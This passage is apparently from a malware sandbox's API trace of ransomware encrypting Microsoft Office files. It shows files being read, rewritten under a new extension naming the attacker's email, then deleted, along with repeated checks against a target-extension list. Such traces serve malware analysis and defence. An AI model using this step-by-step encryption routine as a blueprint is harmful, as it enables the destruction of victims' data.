dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0250.569] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=6915) returned 1 [0250.569] CloseHandle (hObject=0x258) returned 1 [0250.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid")) returned 0x20 [0251.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0253.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0253.799] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.799] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0253.800] GetLastError () returned 0x0 [0253.800] ReadFile (in: hFile=0x384, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x1b03, lpOverlapped=0x0) returned 1 [0254.019] WriteFile (in: hFile=0x164, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0x1b10, lpOverlapped=0x0) returned 1 [0254.022] ReadFile (in: hFile=0x384, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.022] WriteFile (in: hFile=0x164, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.023] SetEndOfFile (hFile=0x164) returned 1 [0254.023] CloseHandle (hObject=0x164) returned 1 [0257.937] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.937] SetEndOfFile (hFile=0x384) returned 1 [0259.617] CloseHandle (hObject=0x384) returned 1 [0259.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0259.927] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid")) returned 1 [0259.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0259.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0259.928] lstrlenW (lpString=".doc") returned 4 [0259.928] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0259.929] lstrlenW (lpString=".docx") returned 5 [0259.929] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0259.929] lstrlenW (lpString=".pdf") returned 4 [0259.929] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0259.929] lstrlenW (lpString=".xls") returned 4 [0259.929] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0259.929] lstrlenW (lpString=".xlsx") returned 5 [0259.929] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0259.929] lstrlenW (lpString=".ppt") returned 4 [0259.929] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0259.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0259.929] lstrlenW (lpString=".zip") returned 4 [0259.930] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0259.930] lstrlenW (lpString=".rar") returned 4 [0259.930] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0259.930] lstrlenW (lpString=".bz2") returned 4 [0259.930] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0259.930] lstrlenW (lpString=".7z") returned 3 [0259.930] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0259.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0259.930] lstrlenW (lpString=".dbf") returned 4 [0259.930] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0259.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0259.930] lstrlenW (lpString=".1cd") returned 4 [0259.930] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0259.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0259.931] lstrlenW (lpString=".jpg") returned 4 [0259.931] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0259.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0259.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0259.931] lstrlenW (lpString=".doc") returned 4 [0259.931] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0259.931] lstrlenW (lpString=".docx") returned 5 [0259.931] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0259.931] lstrlenW (lpString=".pdf") returned 4 [0259.931] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0259.931] lstrlenW (lpString=".xls") returned 4 [0259.931] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0259.932] lstrlenW (lpString=".xlsx") returned 5 [0259.932] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0259.932] lstrlenW (lpString=".ppt") returned 4 [0259.932] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0259.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0259.932] lstrlenW (lpString=".zip") returned 4 [0259.932] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0259.932] lstrlenW (lpString=".rar") returned 4 [0259.932] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0259.932] lstrlenW (lpString=".bz2") returned 4 [0259.932] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0259.932] lstrlenW (lpString=".7z") returned 3 [0259.932] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0259.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0259.932] lstrlenW (lpString=".dbf") returned 4 [0259.933] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0259.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0259.933] lstrlenW (lpString=".1cd") returned 4 [0259.933] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0259.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0259.933] lstrlenW (lpString=".jpg") returned 4 [0259.933] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0259.933] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0259.933] lstrlenW (lpString="Civic.eftx") returned 10 [0259.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0259.942] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=42917) returned 1 [0259.943] CloseHandle (hObject=0x3a0) returned 1 [0259.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx")) returned 0x20 [0259.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0259.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0259.943] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.944] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0268.367] GetLastError () returned 0x0 [0268.368] ReadFile (in: hFile=0x3a0, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0xa7a5, lpOverlapped=0x0) returned 1 [0268.389] WriteFile (in: hFile=0x3c4, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xa7b0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0xa7b0, lpOverlapped=0x0) returned 1 [0268.396] ReadFile (in: hFile=0x3a0, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0268.396] WriteFile (in: hFile=0x3c4, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0268.397] SetEndOfFile (hFile=0x3c4) returned 1 [0268.397] CloseHandle (hObject=0x3c4) returned 1 [0268.400] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.400] SetEndOfFile (hFile=0x3a0) returned 1 [0270.092] CloseHandle (hObject=0x3a0) returned 1 [0270.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0271.630] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx")) returned 1 [0271.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0271.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0271.728] lstrlenW (lpString=".doc") returned 4 [0271.728] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0271.728] lstrlenW (lpString=".docx") returned 5 [0271.728] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0271.728] lstrlenW (lpString=".pdf") returned 4 [0271.728] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0271.728] lstrlenW (lpString=".xls") returned 4 [0271.728] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0271.728] lstrlenW (lpString=".xlsx") returned 5 [0271.728] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0271.729] lstrlenW (lpString=".ppt") returned 4 [0271.729] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0271.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0271.729] lstrlenW (lpString=".zip") returned 4 [0271.729] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0271.729] lstrlenW (lpString=".rar") returned 4 [0271.729] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0271.729] lstrlenW (lpString=".bz2") returned 4 [0271.729] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0271.729] lstrlenW (lpString=".7z") returned 3 [0271.729] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0271.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0271.730] lstrlenW (lpString=".dbf") returned 4 [0271.730] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0271.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0271.730] lstrlenW (lpString=".1cd") returned 4 [0271.730] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0271.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0271.730] lstrlenW (lpString=".jpg") returned 4 [0271.731] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0271.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0271.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0271.732] lstrlenW (lpString=".doc") returned 4 [0271.732] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0271.732] lstrlenW (lpString=".docx") returned 5 [0271.732] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0271.732] lstrlenW (lpString=".pdf") returned 4 [0271.732] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0271.732] lstrlenW (lpString=".xls") returned 4 [0271.732] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0271.732] lstrlenW (lpString=".xlsx") returned 5 [0271.732] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0271.732] lstrlenW (lpString=".ppt") returned 4 [0271.732] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0271.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0271.733] lstrlenW (lpString=".zip") returned 4 [0271.733] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0271.733] lstrlenW (lpString=".rar") returned 4 [0271.733] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0271.733] lstrlenW (lpString=".bz2") returned 4 [0271.733] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0271.733] lstrlenW (lpString=".7z") returned 3 [0271.733] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0271.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0271.733] lstrlenW (lpString=".dbf") returned 4 [0271.733] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0271.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0271.733] lstrlenW (lpString=".1cd") returned 4 [0271.733] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0271.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0271.734] lstrlenW (lpString=".jpg") returned 4 [0271.734] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0271.734] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0271.734] lstrlenW (lpString="Concourse.eftx") returned 14 [0271.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0271.918] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=22417) returned 1 [0271.918] CloseHandle (hObject=0x15c) returned 1 [0271.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx")) returned 0x20 [0271.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0271.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0271.920] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.920] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0271.921] GetLastError () returned 0x0 [0271.921] ReadFile (in: hFile=0x15c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x5791, lpOverlapped=0x0) returned 1 [0271.968] WriteFile (in: hFile=0x394, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x57a0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0x57a0, lpOverlapped=0x0) returned 1 [0271.972] ReadFile (in: hFile=0x15c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.972] WriteFile (in: hFile=0x394, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0271.972] SetEndOfFile (hFile=0x394) returned 1 [0271.973] CloseHandle (hObject=0x394) returned 1 [0271.978] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.978] SetEndOfFile (hFile=0x15c) returned 1 [0271.986] CloseHandle (hObject=0x15c) returned 1 [0271.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0272.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx")) returned 1 [0272.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0272.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0272.075] lstrlenW (lpString=".doc") returned 4 [0272.075] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.075] lstrlenW (lpString=".docx") returned 5 [0272.075] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.075] lstrlenW (lpString=".pdf") returned 4 [0272.075] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.075] lstrlenW (lpString=".xls") returned 4 [0272.075] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.075] lstrlenW (lpString=".xlsx") returned 5 [0272.075] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.075] lstrlenW (lpString=".ppt") returned 4 [0272.076] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0272.076] lstrlenW (lpString=".zip") returned 4 [0272.076] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.076] lstrlenW (lpString=".rar") returned 4 [0272.076] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.076] lstrlenW (lpString=".bz2") returned 4 [0272.076] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.076] lstrlenW (lpString=".7z") returned 3 [0272.076] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0272.076] lstrlenW (lpString=".dbf") returned 4 [0272.076] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0272.077] lstrlenW (lpString=".1cd") returned 4 [0272.077] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0272.077] lstrlenW (lpString=".jpg") returned 4 [0272.077] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0272.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0272.077] lstrlenW (lpString=".doc") returned 4 [0272.077] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.077] lstrlenW (lpString=".docx") returned 5 [0272.078] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.078] lstrlenW (lpString=".pdf") returned 4 [0272.078] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.078] lstrlenW (lpString=".xls") returned 4 [0272.078] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.078] lstrlenW (lpString=".xlsx") returned 5 [0272.078] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.078] lstrlenW (lpString=".ppt") returned 4 [0272.078] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0272.078] lstrlenW (lpString=".zip") returned 4 [0272.079] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.079] lstrlenW (lpString=".rar") returned 4 [0272.079] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.079] lstrlenW (lpString=".bz2") returned 4 [0272.079] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.079] lstrlenW (lpString=".7z") returned 3 [0272.079] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0272.079] lstrlenW (lpString=".dbf") returned 4 [0272.079] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0272.079] lstrlenW (lpString=".1cd") returned 4 [0272.080] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0272.080] lstrlenW (lpString=".jpg") returned 4 [0272.080] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.080] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0272.080] lstrlenW (lpString="Couture.eftx") returned 12 [0272.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0272.200] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1967905) returned 1 [0272.200] CloseHandle (hObject=0x37c) returned 1 [0272.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx")) returned 0x20 [0272.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0272.201] MoveFileW 